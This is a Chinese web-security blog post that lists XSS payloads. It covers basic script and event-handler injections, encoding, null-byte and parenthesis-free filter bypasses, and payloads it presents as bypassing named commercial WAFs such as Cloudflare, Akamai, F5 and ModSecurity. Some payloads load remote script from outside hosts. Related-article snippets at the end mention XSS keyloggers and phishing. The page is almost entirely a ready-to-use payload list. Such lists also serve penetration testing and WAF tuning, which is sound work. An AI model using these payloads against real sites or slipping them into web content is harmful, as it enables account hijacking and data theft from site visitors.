[WEB安全]XSS命令总结
一:正常构造方式:
1、无过滤,直接写:
<script>alert(1)</script>
2、正常截断:
"> <script>alert(1)</script>
'> <script>alert(1)</script>
3、不用<>尖括号:
" onmouseover=alert(1) 空格
' onmouseover=alert(1) 空格
' onclick=alert(1) 空格
" onfocus=alert(1) autofocus="
4、内联框架注入:
"><iframe src=javascript:alert(1)>
5、超链接注入:
"> <a href="javascript:alert(1)">漏洞</a>
6、alert(1)中的小括号:可用反单引号替代:`;也可以用/
7、当()与反单引号被过滤时,可使用如下:
- <iframe srcdoc="<script>parent.alert(1)</script>"
- <svg><script>alert(1)</script>
8、存在注释符的话,可用或<!-- --!>绕过
9、str_replace()函数是区分大小写的
10、黑名单的时候可以使用URL编码等进行编码的方式:
javascript:alert(1)、javascript:alert'1'
11、可利用注释符(//)与换行/回车(%0a/%0d)绕过各种规定方式(比如必须添加某些参数或者无法输入空格等)
12、外链xss脚本:
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
13、IMG标签型:
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=java(16进制编码)XSS')>
14、嵌入式标签:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC="javascript:alert('XSS');">(嵌入式编码标签)
<IMG SRC="javascript:alert('XSS');">(嵌入式换行符)(嵌入式回车)
15、双开括号:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
16、BODY图片:
<BODY BACKGROUND="javascript:alert('XSS')">
17、IMG Dynsrc:
<IMG DYNSRC="javascript:alert('XSS')">
IMG Lowsrc:
<IMG LOWSRC="javascript:alert('XSS')">
18、DIV background-image:
> <DIV STYLE="background-image:url(javascript:alert('XSS'))">
19、javascript链接:
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
20、embed:
<embed src="javascript:alert(1)">
21、video:
<video onerror="alert(1)">
22、在JavaScript中可以进行Unicode转义、十六进制和八进制转义。此外,字符串中的多余转义字符串将被忽略。
<script>a \u006cert(1) ;</script>
<script>eval(‘ a\u006cert(1) ’);</script>
<script>eval(‘ a\x6cert(1) ’);</script>
<script>eval(‘ a\154ert(1) ’);</script>
<script>eval(‘ a\1\ert\(1\) ’);</script>
二:绕过方式
1、双url编码
把% url编码成 %25 ,如果后台对参数有再次进行url decode 或者输出的时候有 url decode 就可以绕过WAF。
2、base64编码
WAF不拦截 <> ,但拦截 script onXXXX , 用base64 绕过。
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnYmFzZTY0X2lmcmFtZScpPC9zY3JpcHQ+">
3、HTML实体编码绕过
(1)解释:实体编码一开始是为了避免譬如在你的双引号中要输入数据中包括双引号导致浏览器把你输入的引号当作上一个引号的姐妹标签而异常闭合而提出的。
payload:
<a href='javascript:alert('123')'>hello</a>
<a href="javascript:alert('123')">hello</a>
tip:
(2)其实在标签里的伪协议js代码,是可以不用用双引号引起来的。
加上eval函数后(eval认识 \x十六进制 八进制 \u unicode编码)
<a href="javascript:eval('&#;\u0091\x65\x72\x74\x28\x22\x31\x22\x29')">hello</a>
(3)如果页面直接显示输入内容,可以先html 编码,再url 编码。
<svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)>
4、过滤 /script
<%2fscript>
<%252fscript>
<%252fScRipt>
<%252fScrIPt%20>
<%252fsCrIpt+ipT%20>
5、过滤括号
当括号被过滤的时候可以使用throw来绕过:
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
6、利用0字节绕过
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
7、先拆分再组合
<script>var a='h';var b=':\/\/';document.write('<script src="'+a+'ttp'+b+'xss.tw/xxx"><\/script>');</script>
8、利用ascii编码绕过
<img/ \/\μ src=x onerror=alert(1)//>
<img src=\x17\x17 onerror=alert(1)//>
<img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
9、过滤括号和分号
你可以使用花括号来进行语句隔离,将onerror整体放入花括号中。这样就避免了使用分号:
<script>{onerror=alert}throw 1337</script>
三:常见的waf bypass
WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充
WAF名称:Wordfence
Payload:<a/href=javascript:alert()>click
绕过技术:数字字符编码
WAF名称:Barracuda
Payload:<a/href=Java%0a%0d%09script:alert()>click
绕过技术:数字字符编码
WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
[WEB安全]XSS命令总结的更多相关文章
- web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造)
web 安全 & web 攻防: XSS(跨站脚本攻击)和 CSRF(跨站请求伪造) XSS(跨站脚本攻击)和CSRF(跨站请求伪造) Cross-site Scripting (XSS) h ...
- Web安全XSS
Web安全XSS 简单的反射型XSS钓鱼演示 </form> <script> function hack(){ XSSImage=new Image; XSSImage.sr ...
- web安全-xss攻击
web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&'); str = str.replac ...
- Web安全--XSS现代WAF规则探测及绕过技术
XSS现代WAF规则探测及绕过技术初始测试 1.使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过 ...
- Web安全--XSS模版
[XSS基本探测pyload] <script>alert("xss")</script> <script>alert(/xss/)< ...
- MVC WEB安全——XSS攻击防御
XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- 小白日记48:kali渗透测试之Web渗透-XSS(二)-漏洞利用-键盘记录器,xsser
XSS 原则上:只要XSS漏洞存在,可以编写任何功能的js脚本 [反射型漏洞利用] 键盘记录器:被记录下的数据会发送到攻击者指定的URL地址上 服务器:kali 客户端 启动apache2服务:ser ...
- 小白日记47:kali渗透测试之Web渗透-XSS(一)
XSS [推荐书籍:XSS跨站脚本攻击剖析与防御] xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/ ...
随机推荐
- 修复win10系统的引导
上周末时,在安装完linux后,进入win10系统后,想做个系统的引导菜单,用了easyBCD,后来一不小心删除了win10的引导菜单(window boot manager). 这样,就造成了我wi ...
- SQL*Plus 格式化查询结果
为了在 SQL*Plus 环境中生成符合用户需要规范的报表,SQL*Plus 工具提供了多个用于格式化查询结果的命令,使用这些命令可以实现设置列的标题.定义输出值的显示格式和显示宽度.为报表增加头标题 ...
- Android Jetpack组件之Lifecycles库详解
Android Jetpack 组件是库的集合,这些库是为了协同工作而构建的,不过也可以单独采用,接下来会一一详细地学习这些库, 下面源码版本是com.android.support:appcompa ...
- 虹软人脸识别SDK在网络摄像头中的实际应用
目前在人脸识别领域中,网络摄像头的使用很普遍,但接入网络摄像头和人脸识别SDK有一定门槛,在此篇中介绍过虹软人脸识别SDK的接入流程,本文着重介绍网络摄像头获取视频流并处理的流程(红色框内),以下内容 ...
- 使用gulp构建项目
gulp.js作为一个前端构建工具,类似于webpack.Grountjs.rollupjs,不过相对于其他几种打包工具,gulp的使用更轻量,配置更简单,打包速度更快,今天不说他们几个的区别,也不说 ...
- Charles中文破解版下载安装及使用教程(附带免费下载链接)
一. 简介及安装 Charles 是在 PC 端常用的网络封包截取工具,但它不仅仅能在pc端使用,还可以在手机ios和安卓端都可以使用.我们在做移动开发或者测试网页app时候,为了调试与服务器端的网络 ...
- 十七、存储过程&自定义函数详解
代码中被[]包含的表示可选,|符号分开的表示可选其一. 需求背景介绍 线上程序有时候出现问题导致数据错误的时候,如果比较紧急,我们可以写一个存储来快速修复这块的数据,然后再去修复程序,这种方式我们用到 ...
- 【sqoop】安装配置测试sqoop1
3.1.1 下载sqoop1:sqoop-1.4.7.bin__hadoop-2.6.0.tar.gz 3.1.2 解压并查看目录: [hadoop@hadoop01 ~]$ tar -zxvf sq ...
- Docker安装与部署
安装Docker: 查看你当前的内核版本: uname -r 更新yum包: sudo yum update 卸载旧版本(如果安装过旧版本的话): sudo yum remove docker doc ...
- Django使用Redis进行缓存详细最全流程
背景和意义服务器数据非经常更新.若每次都从硬盘读取一次,浪费服务器资源.拖慢响应速度.而且数据更新频率较高,服务器负担比较大.若保存到数据库,还需要额外建立一张对应的表存储数据.在Django中建立表 ...